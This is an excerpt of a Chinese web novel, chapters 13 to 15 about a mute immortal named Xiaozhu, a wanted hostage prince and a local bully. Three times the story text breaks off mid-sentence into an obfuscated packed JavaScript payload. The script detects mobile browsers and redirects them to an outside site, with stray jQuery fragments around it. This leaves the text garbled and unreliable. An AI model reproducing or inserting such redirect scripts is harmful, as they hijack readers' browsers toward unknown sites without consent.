“我在濯音楼学了六年舞,进步称得上飞速,近来却陷入了瓶颈。云娘已经老了,无法教我更多,想要再上一层楼,我须得另行拜师。明日我就会启程去江南。” 宵烛又问:你一个人? 冯善花说: “云娘会陪着我。哥,我知道你担心我,但我也有自己的野心,想要成为全天下最厉害的舞娘。所以,无论如何,我都必须抓住这次的机会。我不甘心一辈子待在石硚岭。” 她轻轻摇头,驱散了目光中因离别而产生的不舍愁绪,取而代之的是一种不容转圜的决绝。 她一向是个很固执的人,一旦认定某件事情,就会一条路走到黑,不会轻易改变想法。 宵烛知道,自己劝不动她,也无需劝她。 俗话说人往高处走,水往低处流,普通人想要一步步往上爬是很正常的事。 宵烛来人间仅仅是为了陪太子历劫,功名利禄富贵荣华于他而言不过过眼云烟,所以他不执着于那些东西,可冯善花想争,他又有什么资格劝阻呢? 只是他没想到,离别会来得这么快,快得令他猝不及防。 眼前的一幕和当年灵卜辞行时的场景重叠,宵烛想,今日一别,不知何年何月才能再相见呢? 从此以后,这间茅草屋里,就只有他一个人了。 良久,宵烛慢慢抬起手,本想用手语答复冯善花,女孩却突然上前一步,张开双臂紧紧拥住了他。 “我一定会回来的,一定会回来,”她语无伦次地说着,声音里带上了哭腔,“你好好守着家,平时记得按时吃饭,被别人欺负了也不要总是忍气吞声,你越忍别人就越想欺负你的。还有、还有……” 她哽了哽,才继续道:“以前的事,对不起……哥哥。” 她没说到底是什么事,可宵烛听懂了。 他忽然跑到杂物间里,四处翻找一番,终于找到了当年自己亲手雕刻的、最后却没送出去的那根梨花木簪。 木簪有些旧了,但还是好看的。 簪在冯善花头上更好看。 女孩任由兄长为自己戴上木簪,眼里隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490820|170129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隐有泪光闪烁。 ——从今往后,他们天各一方,只剩血脉如藕丝相连。 * 送走冯善花后,宵烛的生活和往日似乎没有任何不同。 他在一家驿站旁边的客栈里找了一份清扫马厩的工作。这工作又脏又苦又累,但老板人还不错,结工钱非常爽快及时,对待宵烛的态度也很和善。 总体来说,宵烛很满意。 驿站是连接交通的枢纽,这家客栈紧邻驿站,因此常有外地的官兵、信使、商人等过来居住。 宵烛打扫马厩时,常能听到这些人操着浓重的外地口音聊天闲谈,并从他们口中得知了很多外地发生的新鲜事。 那天宵烛和往常一样清理着马厩的饲槽,忽然有两个官兵打扮的人牵着马匹走过来,一边栓马绳一边说着话。 “——你们那队最近搜到什么消息没?” “——别提了。那该死的北蛮子,在几十名朝廷官兵的眼皮子底下居然都能跑掉!倘若月底前还抓不到人,不知有多少人要为此掉脑袋!” “——唉,我们这边也毫无线索。真是奇了怪了!一个大活人,还戴着镣铐,到底是怎么逃脱的?你说那蛮子该不会已经离开沂国了吧?” “——不可能。陛下已命人封锁北上的各条官道,并下令在边境十二城里张贴他的画像,凡提供线索者皆有重赏,他就算长了翅膀也飞不出去!我看他大概率就藏在沂国的某处犄角旮旯里。” “——要还在沂国就好办多了。陛下下达的死命令是绝对不能让贺叶屈邻真回到须滕,至于能否活捉倒不重要。身负重伤,又没有食物,你猜他能苟活多久?若那冤孽就此死在沂国,倒也省去了不少麻烦!” “——但愿吧……唉,我这心里老觉得不踏实……” 两道声音渐渐远去。 宵烛听不懂他们在说什么,便没有把这段小插曲放在心上。 过了几日,宵烛替客栈老板去镇上采买物品,刚走到菜市场入口,突然发现前方一堵告示墙前挤满了人。 发生什么事了? 宵烛不爱凑热闹,但围在那边的人实在太多了,加之每个人脸上都是一副极其亢奋的表情,宵烛便留意听了一耳朵。 “——这是官兵今早贴出来的告示。朝廷有令,谁若能提供画像上这名逃犯的线索,赏黄金百两、良田十顷!” 百两黄金?!! 宵烛差点以为自己听错了。 这个数额令他心惊不已。 要知道,以他现在的工钱水平,就算再干十辈子,也攒不了这么多! 还有十顷良田,那不仅仅是良田,更是无数底层百姓脱离贱籍的阶梯,有了田地,就可以摇身一变成为乡绅! 到底是哪位逃犯的命这么值钱? 宵烛难得被勾起了一丝好奇心。 等买完客栈老板吩咐的物品,他再次返回到那堵墙前。 此时围观人群已经散去大半,布告上的图文便无比清晰地落入了他眼里。 那张画像上画着一个年轻俊美的男子,乌发卷曲、眉睫浓黑、眼窝深邃、鼻梁挺直,是非常标准的北方异族的长相。 最奇特的是他的眼睛,左眼是琥珀一样的浅褐,右眼却是很淡的银灰。 如此罕见的异瞳,世间几人能有? “哗啦——!” 手中拎着的物品不慎掉落在地,宵烛手忙脚乱将它们捡起,表情却陡然变了。 他死死盯着画像,心脏剧烈跳动起来,几乎要跳出胸腔! 怎么会?! ——朝廷重金悬赏的这名要犯,赫然就是他不久前在山洞里救过的那个男人! 宵烛往后退了一步,脸色微微发白。一瞬间好几个疯狂的念头从他脑海中闪过。 不出意外的话,他应该是近期唯一见过那名逃犯的人,如若去向官府禀报,赏金就是他的了! 宵烛对财富没什么太大的执念,但有钱总比没钱好。得到黄金,他可以为冯善花置办更好的嫁妆;得到良田,他就能和妹妹一起脱离贱籍,从此不再被人看不起。 然而很快,另一个念头又告诉他——不,他不能这么做。 来人间前仙帝曾多次告诫宵烛:凡间历劫,最忌与凡人扯上不必要的因果。当日宵烛在山洞里遇到那名歹徒,原打算直接一走了之,是歹徒替他挡了青环蛇的攻击,他才为对方清理蛇毒,权当还人情。 自那之后,两人的恩怨因果便算彻底结清了。他们大概率此生不会再有交集。 黄金如何,良田又如何,不管面对多大的诱惑,他都应该坚守本心,不被外物蒙蔽。 思及此,宵烛决定不再关注此事。 他摇了摇头,正准备离开,这时,一双手忽然从背后悄无声息地按住了他的肩膀! 宵烛被吓了一大跳,条件反射挣扎起来。 但对方手劲非常大,他又拎着东西,一时根本挣不脱。 接着,一道满怀恶意的声音在他背后响了起来: “——上回你送我的那几块筒子骨,炖了汤可是相当有滋味。小哑巴,不如你今天行行好,再送哥几块呗?” 13. 影渐微 是屠狗六! 这无赖穿着一件沾满油渍的灰蓝短打,半边袖管胡乱卷到手肘处,露出小臂上蜈蚣似的刀疤。 他用后槽牙叼着半截竹签,一双三白眼牢牢盯着手底下不断挣扎的宵烛,像在盯一只落入笼中的猎物。 不提还好,一听屠狗六提起上回的筒子骨,宵烛气得眼睛都红了。 ——那哪里是“送”,分明就是强抢! 如若不是屠狗六半路抢劫,他又怎会丢掉在肉铺的工作,还白白搭上一个月的工钱! 如此横行霸道恃强凌弱,简直堪称下作! 可气归气,宵烛拿屠狗六一点办法也没有。 他今天出门是来替客栈老板采购米面杂粮的。虽然这些东西不值几个钱,但要是两手空空地回去,他没法儿向老板交差! 身体被宽大的手掌压得动弹不得,宵烛只能扭头环顾四周。 这里是菜市场入口。此刻已到了收市的时候,附近行人少了很多,但也并非空无一人。 如若他现在逃跑,光天化日之下,屠狗六应该,不敢拿他怎么办吧…… 宵烛突然头一偏,张开嘴狠狠咬了屠狗六一口! 他虽瘦弱,牙齿却很尖利,屠狗六的手背立刻就渗出了血。 宵烛的这番举动是令屠狗六全然没想到的。 刺痛传来,屠狗六下意识松开了手。宵烛趁机把人一推,撒腿就要逃跑。 可这时—— “汪汪汪!” 令人胆寒的犬吠声骤然炸响在耳畔,不知从哪里窜出一条癞皮狗。 它身上的毛又脏又稀疏,嘴边垂着口涎,眼神无比凶恶。 这条癞皮狗是屠狗六的爱宠。它虽然长得丑,身形却敏捷得不可思议,“嗖”地一下就拦在了宵烛面前。 “汪汪汪!汪汪汪!” 癞皮狗冲宵烛甩了甩脑袋,咧嘴露出森白的牙齿,像一把把插得参差不齐的匕首。 宵烛特别怕这只狗,见此情景,莫说逃跑,他连气都吓得不敢出了,手脚僵硬得无法动弹。 这边的动静太大,引得好几个路人投来了目光。 屠狗六笑了笑,突然上前一步,状似亲昵地揽住宵烛的肩膀,还“关切”地拍了拍他的背。 看起来就像是兄长在安抚受惊的弟弟。 可事实上,这无赖把嘴凑到宵烛耳边,语气恶劣道: “跑啊,怎么不跑了?我跟你说,我养的这条狗就喜欢啃硬骨头,要是一不留神把你的腿给咬断了……你可多担待些。” 宵烛早已吓得面无人色。 大街上人来人往,说话不方便。屠狗六便挟持着宵烛钻进了旁边一条隐蔽的小巷子里。 等周围彻底没人后,屠狗六把宵烛抵在墙角,说: “行了,现在咱也不用装了。小哑巴,哥今天找你,是想问点东西。” 宵烛闭了闭眼,终于不再挣扎,认命般交出了手里刚买来的物品。 东西没了,他可以用自己的工钱赔偿老板;倘若得罪了屠狗六,他以后不会再有安宁的日子过。 孰轻孰重,一目了然。 宵烛也想过要不要用引火真诀对付屠狗六,然而这个念头很快就被他否决了。 引火真诀是仙术,使用仙界术法伤害凡人本就是违逆天道的行为,犹如饮鸩止渴,对历劫有百害而无一利。上回在山洞里使用引火真诀对付逃犯,那实属生死关头的无奈之举。已经犯过一次忌,他不能再犯第二次。 宵烛衣袋里还有两枚铜子,那是他今天的饭钱,原本打算买点好吃的犒劳自己。现在也一并摸出来交给了屠狗六。 出乎宵烛意料的是,屠狗六没接。 “我不要这些三瓜两枣,你老实回答我一个问题就行,”屠狗六说,“那张悬赏告示上的逃犯……你是不是见过?” 宵烛的心突地一跳。 幸而他反应极快。此刻他垂着眼,眼中情绪被长睫遮挡了大半,再抬起头时,那些惊愕皆消散无踪。 宵烛拼命摇头,一边摇头一边摆手,表示自己“没见过”。 “真没见过?你甭想糊弄我!”屠狗六不耐烦道,“刚刚在外面我可是看得很清楚,你一见到那张画像,脸就白得跟活见鬼一样!” 宵烛还是摇头,摇得像拨浪鼓。 直觉告诉他,绝对不能对屠狗六承认自己见过逃犯的事,否则会惹来麻烦。 见宵烛油盐不进,屠狗六偏头吐掉嘴里的半根竹签,转而露出一个阴恻恻的笑容: “——你是不是觉得,你是个哑巴,我就没办法治你?” “汪!汪汪汪!” 癞皮狗转悠到宵烛脚边,直起身体蹭了蹭他的小腿。 简直是直白得不能再直白的威胁。 宵烛瞳孔微缩,浑身血液瞬间凝固! 屠狗六满意地端详着宵烛这副神情,又把头凑得离他更近了点,嗤道: “我大沂民风开放,民间好男风者不少,断袖向来不是啥稀奇事,那些达官显贵最爱养些美貌少年在身边做宠。今日你若是爽快点,我当然不会为难你,等来日拿到赏金,甚至可以考虑分你一成;但你若是不说实话,我就只好先把你给打傻了,再随便送到哪个勾栏妓馆里去……你这模样,放哪里都是抢手货,不愁卖不出好价钱吧?” 不等宵烛表态,屠狗六又掰着他的脸,语气惋惜道: “唉,确实长得不错……可惜是个又穷又没用的哑巴,还是个贱籍,这辈子注定讨不到媳妇了。既然如此,不如把你送去给别人当小媳妇儿吧!” ——如此丧尽天良的行为,到了这无赖嘴里,竟跟吃饭喝水一样稀松平常! 宵烛心下大骇。 凭他对屠狗六的了解,他知道对方绝对做得出这种丧心病狂的事! 宵烛是真的怕了。他的下巴被掐得生疼,眼角染上一片薄绯,差点就要被逼出眼泪。 “我最后再问你一遍,”屠狗六说,“你到底,有没有见过那张画像上的人?” 宵烛依旧摇着头,拒不承认自己见过那逃犯。 大概是宵烛的神情实在太过凄惶,且寻不到半分说谎的痕迹,见状,屠狗六狐疑地皱起了眉。 ——真没撒谎? 他之前和宵烛打过交道,知道这小哑巴胆子极小,见到狗都能被吓得瑟瑟发抖。 都恐吓到这地步了,却还是死活不承认,莫非…… “没见过最好,刚才都是逗你的。” 屠狗六忽然松开对宵烛的桎梏,眼睛一眨,浑身戾气瞬间消散殆尽,又变回平日那副泼皮无赖的混子做派。 宵烛不明白他为何变脸变得这么快,不信他肯轻易放过自己,因此面上仍是一片警惕。 “刚才都是误会、都是误会。我只是一时立功心切,想尽早抓到穷凶极恶的歹徒,替朝廷分忧解难罢了。”话锋一转,屠狗六问宵烛:“你可知那逃犯到底是什么身份,朝廷又为何要开出巨额赏金来抓捕?” 好问题。这回倒真把宵烛问住了。 他脑海中闪过那天在山洞里和逃犯相处的画面,印象最深的,便是对方俊美的异族相貌、标准的中原式谈吐,以及手腕上的玄古秘银镣铐。 的确是一个非常奇怪的男人。宵烛想破头也猜不出对方的身份。 屠狗六眼底的笑意越来越深。 半晌后,他缓缓开口,解答了宵烛的疑问: “知晓此事内情的人不多,我也是从一名老兵那儿听说的。朝廷重金悬赏的这名逃犯,乃是须滕王贺叶屈劼与谌罗公主茉答儿之子、十年前兵败后被送入沂国的北原质子——贺叶屈邻真。” * 宵烛回到客栈时,已经快酉时了。 老板正坐在柜台边看账本,见状抬头道: “今天怎么回来得这么迟?” 宵烛当然是没办法回答的。 好在老板不过随口一问,也没打算为难他。 这小哑巴手脚非常勤快,别人不愿意干的脏活累活苦活,他总是能干得又快又好,老板对此非常满意。 “东西放那边桌子上就行。天色不早了,你快点回去吧,路上当心。” 宵烛感激地点了点头。 回家路上,宵烛回想着今天发生的事情,还有屠狗六说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490821|170129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些话,思绪变得极度混乱。 贺叶屈邻真…… 这是他在山洞里救下的那个男人的名字。对方还有另一个更广为人知的名字——宣渐微。 宣是沂国国姓,只有皇室成员才能被冠以此姓。 那宣渐微,正是沂国的三皇子。 既然是皇子,为何会沦落到被朝廷悬赏追杀的地步?难道皇帝分毫不顾念父子之情吗? 事实上,三皇子宣渐微,或者说贺叶屈邻真,他的生父并非当今沂国天子,而是北方须滕部族的首领——贺叶屈劼。 北方各部族素来与中原不和,历史上曾多次开战,关系一度紧张,这早已不是什么秘密。 那么,一个异族人所生的儿子,为何会跑来中原“认贼作父”?任谁听了都会觉得不可思议吧! 这中间的原因非常曲折,说来话长。 下凡历劫之前,为了更好地了解凡界的情况,宵烛曾读过一些人间的史册典籍。 从书中他了解到,凡界大陆的西南端有一座浮荒雪山,世间无数河流都发源自此,沂江正是其中之一。 受地势影响,沂江在东流过程中被分成了两条,像一个横过来的“人”字形,北边的分支称为北沂江,南边的分支称为南沂江。 南北沂江中间夹着的那块区域,便是沂国。这里地势平坦、河网密布、土壤肥沃、物产丰富,是一片非常宜居的沃土。 再往北望去,翻越白微关、跨过北沂江,在那片遥远无垠的北方草原上,并立着河宛、丹纥、须滕、谌罗、句蓝五大部族。 这五大部族早期是一个整体,实力强劲,屡屡对中原构成威胁。 沂国第六任国君在位时,为了牵制北方势力,决定采取从内部分化的策略,以威相逼、以利相诱,故意挑起各部族之间的矛盾,最终使得它们彻底分裂开来,实力大不如前。 从那以后,北方五族之间彼此独立、相互制衡,与中原保持着微妙的和平。 二十五年前,须滕族首领贺叶屈劼迎娶了谌罗族公主茉答儿,并生下长子贺叶屈邻真。 彼时老谌罗王膝下子嗣稀薄,仅有茉答儿一女,因此对女儿所生的这个外姓小孙子极为疼惜,甚至愿意在死后传位于他。 换句话说,从出生时起,贺叶屈邻真身上便流淌着两大部族的血。 以这个孩子为纽带,须滕和谌罗结成了密不可分的整体。 旧日的平衡就是在那时开始被打破的。 须滕和谌罗联合后实力大增,很快就相继吞并了丹纥、句蓝。河宛本就势弱,随之不战而降。 到贺叶屈邻真十五岁时,以须滕王贺叶屈劼为首,北草原五部族再次结盟,踏破白微关、横渡北沂水,举兵南下,矛锋直逼沂国都城——岐京。 那是一场极为惨烈的战役。 大沂江山摇摇欲坠,关键时刻,是驻守边陲的镇戎军使吕殊景带领天瞿军北上,于白微关大破须滕援军,才最终保住了沂国山河。 经此一役,须滕王贺叶屈劼战死,北方部族元气大伤,谌罗公主茉答儿不得不答应沂国的停战协议,并将自己十五岁的儿子贺叶屈邻真送入沂国为质。 同时,沂帝还提出了一个条件。 他认贺叶屈邻真为义子,要求其从此摒弃北方蛮族陋习,接受中原的礼仪教化,并改名换姓为“宣渐微”,以沂国三皇子的身份生活在皇宫中。 表面上看,这似乎是以德报怨的仁义之举。 然而事实上,这是一场彻头彻尾的羞辱。 ——兵败沦为阶下囚也就罢了,还有什么是比被迫“认贼作父”更屈辱的事情? 昔日威风赫赫、战无不胜的北原雄主贺叶屈劼,如今已化为一抔黄土,连唯一的儿子也被送到了敌人的地盘,被迫冠上异姓,口口声声喊仇人为父亲! “宣渐微”三字,是全天下人心照不宣的笑柄! 有如此尴尬的身份,宣渐微在沂国的待遇自然可想而知,所以想要逃回须滕并不奇怪。 从屠狗六口中拼凑出这些前因后果时,宵烛内心震悚。 他突然意识到,他很可能……闯下了大祸。 14. 孑然身 从十五岁到二十五岁,宣渐微在沂国做了十年的质子。 这十年里,他在沂宫究竟遭遇过什么,旁人无从知晓。 北原兵败后,五大部族再次分裂开来。 其中须滕和谌罗的实权几经周转,最后落到了茉答儿公主手里。 她是前须滕王贺叶屈劼的妻子,也是宣渐微的母亲。 一个连武器都拿不动的柔弱女子,能构成什么威胁? 更何况,她还有个儿子在沂国为质。如若茉答儿敢生出异心,第一个被拿来开刀的就是宣渐微! 有了这几重保险,天下人便都认为,北方蛮族气数已尽,不会再敢打中原的主意了。 可事实并非如此。 数月前,沂帝在岐京郊外的围场举行秋狝活动,邀请众王公大臣及世家年轻子弟参加,宫中受宠的妃嫔和皇子也一道前往。 秋狝现场人潮熙攘,难免管理粗漏。就这么一疏忽,那位北原质子宣渐微竟悄无声息地消失了,直到归程清点人数时才有人察觉他的缺席。 这还没完。 几乎是同时,沂帝安插在民间的探子截获了一封密信。 信中内容作了加密处理,旁人无法看懂,但大理寺官员通过反复鉴别比对发现,这封信所用的信纸,赫然是北原牧民经常使用的棘草纸! 从外观上看,棘草纸和寻常纸张没有任何区别。但它的制作原料中加入了北方特产的干棘草,还有马鬃和乳酪残渣,若取一小片放在火上炙烤,会发出刺鼻的气味。 由此可以断定,这封密信,必定是从北方送来的。 那么到底是送给谁呢? 结合宣渐微的突然失踪,真相早已不言而明。 ——原来在沂国为质的这十年里,那位北原质子表面上谦卑恭顺,实则背地里一直在与父亲的旧部保持联系! 得知此事后,沂帝大怒,当即调遣千余名禁军搜捕宣渐微的踪迹,并下令将当年随宣渐微一道入宫的北原随从全部斩杀,借此杀鸡儆猴。 没多久,朝廷禁军就在距岐京千里之外的梁城将宣渐微抓获。 可在解押回京的路上,宣渐微又逃了。 没人知道宣渐微是如何在戴着玄古秘银镣铐的情况下杀死官兵脱逃的。这一回他的行踪更为隐蔽,哪怕朝廷多次加派人手,也始终无法再抓到他。 朝廷封锁了出关的所有要道。沂帝有令,无论用什么办法,一定不能让宣渐微回到北方。就算是死,他也必须死在沂国的疆域里! 那百两黄金,十顷良田,买的不仅是宣渐微的命,更是沂国的长久安宁! 屠狗六离开前,留了一句颇有深意的话给宵烛: “朝廷贴出来的告示里,只说找到线索有重赏,那若是瞒报线索呢?重赏对应的是重罚,我想,应该不会有人敢铤而走险去包庇一个逃犯吧?哈哈哈……” 周遭行人渐渐变少,宵烛再一次踏上了回家的那条山路。 他很想强迫自己忘掉这件事,但脑子根本不受他操纵。 理清事情的来龙去脉后,宵烛的心渐渐沉了下去。 整个沂国都在找宣渐微,而他是唯一一个见过,甚至救了对方的人。 ——严格来讲也不算救,毕竟是宣渐微帮他挡毒蛇在先,他才会给宣渐微清理毒素,这最多叫礼尚往来。 宵烛又想起来,他当时好像还乱发善心,给对方留了两只包子。 这…… 闯大祸了! 宵烛很清楚,宣渐微活下来的希望极其渺茫。 如若那人死在沂国,一了百了,自是再好不过。 可如若他没死,还逃回了北方…… 那无异于放虎归山,必定后患无穷! 从两人短暂的交集中,宵烛能隐隐感知到,宣渐微绝不会是什么平庸无能之辈。 等回到须滕,昔日在沂国的败军之耻、丧父之仇,他怎么可能不一笔笔讨回来! 此时距白微关之战已经过去了十年,十年足够北方部族养精蓄锐重整旗鼓。只是他们如今四分五裂,缺乏凝聚力,便犹如一盘散沙,无论如何都成不了气候。 宣渐微——或者说贺叶屈邻真,他拥有须滕王和谌罗公主的血脉,在北原民众眼里,他天然就该继承老须滕王的衣钵,完成父亲未竟的事业。没有人比他更适合那个位置了。 如果、如果…… 宵烛不敢再深想下去。 依照仙界卜算的卦象,九州大地历经分崩离析后,终将由新帝一统。宣兰樾若要成为九州之主,那贺叶屈邻真恐怕会是他最大的威胁! 命运当真是最爱弄人。 宵烛自嘲般地想,自己到底是来助太子历劫的,还是来添乱的? 山路崎岖,不知不觉,宵烛就走到了一个熟悉的洞口前。 杂乱的灌木肆意疯长,犹如织得极密的厚重门帘,挡住了外面的光,也挡住了外来窥伺者的视线。 ——要不要,进去看看? ——那个男人还在里面吗? ——假如在的话,该怎么办? ——是去报官领赏,还是趁着对方虚弱时直接下杀手,替宣湣提前斩除这个可能的隐患? 宵烛着了魇似的迈开腿,犹豫着往前走了两步。 他用手指紧紧掐着掌心,一个不慎,竟掐出了鲜血。 刺痛传来的一刻,宵烛如梦方醒! 他不能去。 即便那个男人还在,他也不能去。 他并不了解贺叶屈邻真到底是个怎样的人,是正是邪?是善是恶?目前所知的一切消息都不过道听途说。而作为消息来源的屠狗六一向心术不正,会往里面添油加醋也说不定。 不亲自了解事实,仅凭流言蜚语和固有成见来断定一个人的好坏,甚至妄下杀手,那他和琼阆天宫里那帮伪善的仙族有什么区别? 宵烛不想活成自己最讨厌的样子。 浑身的伤病、短缺的食物、黑暗中伺机潜伏的毒蛇……倘若贺叶屈邻真能在这般恶劣的环境中生存下来,并越过重重封锁回到故国,某种意义上来讲,那也称得上是命不该绝了。 宵烛摇摇头,转身离开。 时值秋末,晚风渐渐染上凉意。 宵烛今天穿得薄了点,被风一吹,禁不住打了个寒战。 走着走着,他忽然停住脚步,警觉地往身后一瞥。 不知是不是多心,他总觉得……有哪里不太对劲。 可他身后分明只有空旷的山路,林野阒然,惟闻雀鸣。 或许真的只是多想了。 宵烛甩开脑子里那些疑神疑鬼的想法,随即加快脚步,不再逗留。 * 岁月匆匆,转眼已是年末。 这期间宵烛又去过几回市集,那张悬赏告示一直贴在菜市场门口,风吹日晒,颜色渐渐淡了,却始终无人将它揭走。 石硚岭是个闭塞的贫县,光靠这里荒瘠的土地是很难养活人的,因此不少百姓选择了外出务工。每年年末,他们集体返乡时,原本有些冷清的小城会陡然热闹起来。 腊月的石硚岭飘起了细雪,青石板街道上挤满了人。 宵烛站在一家糕点铺的屋檐下,几位戴虎头帽的孩童举着糖葫芦从他身边跑过。 那几颗红艳艳的、裹着晶莹糖霜的山楂果在他眼前晃啊晃,一直晃进了宵烛的心底。 很久很久以前,在阿爹阿娘还没去世的时候,每逢年关,他们都会带着一双儿女上街采买年货。 冯善花那时还叫冯婼婼。小姑娘好酸甜口,每回看到糖葫芦就走不动路。 她年纪小,爹娘怕她吃坏牙,于是只买一串,一共四颗,哥哥妹妹一人两颗,谁都不许多吃。 但冯婼婼禁不住诱惑,总是偷偷怂恿宵烛多分她一颗。 她嘴巴里塞得满满的,腮帮子高高鼓起,嘴角还沾着糖渣,理直气壮对宵烛道: “糖吃多了会牙疼,现在我帮你吃了,你就不会牙疼了,你该谢谢我!” 完全就是倒反天罡。 后来爹娘死了,兄妹二人背井离乡来到石硚岭,每回采买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490822|170129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年货的时候,宵烛还是会给妹妹买一串糖葫芦。冯善花大了,懂事了,会主动给他留两颗。 可是今年,连冯善花也不在他身边了。 想到自己将要一个人过年,宵烛顿觉有些没滋没味的。 晌午时分,宵烛回到了客栈。 今天是发放月钱的日子,等领完这一笔钱,客栈就要歇业过年去了,他也可以好好歇一歇。 见宵烛来,老板笑眯眯地同他打了个招呼,然后从柜台里掏出一包碎银子,递到他面前。 宵烛愣住了,没接。 他工钱不多,半块碎银便已足够结清,这整整一包是……? “拿着吧,这是你应得的。你干活干得很不错,比我店里那几个动不动就摸鱼溜号的伙计强多了,”老板笑道,“马上就要过年了,拿着这钱去给自己做身厚实点的新衣服吧。明明是个挺标致的孩子,总穿得破破烂烂的像什么话?” 老板的笑容像一抹和煦的阳光,照得宵烛心里暖融融的。 他不再推拒,伸手接过那包碎银。 宵烛想,明年他一定要更加认真地干活,以报答老板的好心。 但老板又说: “对了,有件事要跟你讲,明年开工,你不用再来了。” 瞧见宵烛骤然黯淡下去的神色,他赶紧补充道: “别多想,不是我不要你,是这间客栈已经被我盘给了别人。我并非石硚岭本地人,家里还有妻儿。以前总忙着捣鼓生意,结果生意没捣鼓出名堂来,倒把家人给冷落了。以后我想多陪陪他们,这生意嘛,就不做了。” 原来如此。 宵烛点点头,表示理解。 只是听老板兴致勃勃讲起家中的情况时,他心底仍划过一丝不易察觉的失落。 ——都说家是一个人的根,倘若失去了根,那和随波逐流的飘萍又有什么区别呢? 夜深人静之时,宵烛独自躺在茅草屋的床上,望着传音炉里飘出来的轻烟出神。 石硚岭并非他的归处。如今冯善花走了,他是不是也该离开这里,启程去西北寻找宣兰樾了呢? 沂国西北与河宛接壤,那里大部分区域都被茫茫黄沙覆盖,环境极为恶劣。 干旱缺水、沙尘暴、匪盗……随便哪一样都能轻而易举要了他的小命,一个人贸然前往肯定是不行的,最好的选择是等到来年开春,再跟着远行的商队一起去。 但商队不会随随便便收人。宵烛年纪小,看着就不是个有力气干活的,加上还是个遭人嫌弃的哑巴,想混到商队里去,肯定要费心思打点关系,说不定还要花钱“贿赂”。 思及此,宵烛烦躁地抓了抓头发。 传音炉里的香燃尽后,宵烛起身收拾香灰。 这只传音炉底部有一个类似抽屉的暗格。宵烛想了想,伸手将它拉开,从里面拿出一只银灰色的圆盘。 圆盘和指南针很像,正中央竖直插着一枚短针,周边一圈雕着刻度。 宵烛将食指按在短针上方,锋利的针尖划破肌肤,很快便有鲜血渗出。 血珠沿着短针缓缓往下淌,滴落至圆盘表面时,原本黯淡的圆盘突然亮起,一青一紫两道光芒交替萦绕在短针上。 此物便是神器魂晷。 宵烛静静等了一会儿。 青色光芒凝聚成形后,慢慢涌入他眉心;另一道紫色光芒则和往常一样,流向了—— 等等?! 宵烛倏然瞪大眼睛,险些以为自己看错了。 魂晷上的紫色光芒代表的是宣兰樾所在的方位,以往宵烛使用魂晷,它都会往西北方流去。 正因如此,宵烛才能判断宣兰樾所在的大致方位。 但今天不一样! 紫色光芒没有流向任何一边,它安静地盘绕在指针周围,寸步不离。 见此情景,宵烛皱起眉。 会出现眼前这种情况,只有两种可能:要么是魂晷本身出了问题,再要么…… ——宣兰樾很可能已经离开了西北,即将抵达他所在的石硚岭! 15. 雪中兰 苍云低垂,天地混沌得像一只倒扣过来的灰陶瓮。 朔风掠过茫茫雪原,发出厉鬼般的呜咽。满目尽是荒芜,寻不见一丝生机。 这是漠北塞外一年中最难熬的时节。 天寒地冻、道路封堵、食物短缺……若不提前做好充足的准备,在这种地方多待上几日,寻常人几乎没有活下来的可能。 日暮时分,被大雪掩埋的古道上突兀地出现了一个蹒跚的身影。 那是一名衣衫褴褛的妇人。 她戴着褪色的头巾,身后背着一只破破烂烂的竹篓,竹篓里装着个三四岁模样的幼童。 在寒风中跋涉太久,母子俩的面颊和嘴唇都被冻成了青紫色。 “娘……” 幼童怯生生地唤道。 但四周风雪吞没了他的声音,母亲并没有听见。 妇人抬起疲惫的眼睛,只见脚下道路绵延至远方,一眼望不到尽头。 绝望在她心里蔓延滋长。 腊月天黑得快,不久后便要入夜。这荒郊野岭里根本寻不到一处栖身之所,她不敢停。 倘若她停下,等明日太阳出来,她和儿子早就冻成了两尊冰雕。 她的脚已经磨烂了,结了冰的血水和脓水黏在鞋袜上,每走一步都犹如酷刑。 人终究是有极限的。 不吃不喝不眠不休地在雪原里走了两天,她能坚持到现在,已然是上天眷顾的结果。 等走到路边一株枯死的桦树旁,妇人终于支撑不住,“哇”地吐出一口血,随后便瘫坐在了树底。 幼童被吓懵了。 他笨拙地爬出竹篓,用力拥紧妇人,想要将自己身体里的温暖传递给母亲。 可惜只是杯水车薪。 妇人越来越虚弱,吐出的鲜血染红了衣襟。 望着眼前那张稚嫩的面容,她颤抖着道: “对不起……” ——对不起,是娘亲没用。娘出身贫寒,没办法给你锦衣玉食的日子,也没办法保护好你。 他们家穷,她丈夫是个嗜赌如命的混账,为了凑钱去赌,甚至敢打变卖妻儿的主意。幸好她反应及时,提前出手杀死了丈夫,可她也因杀人而被官府通缉,只能带着儿子逃亡到塞外。 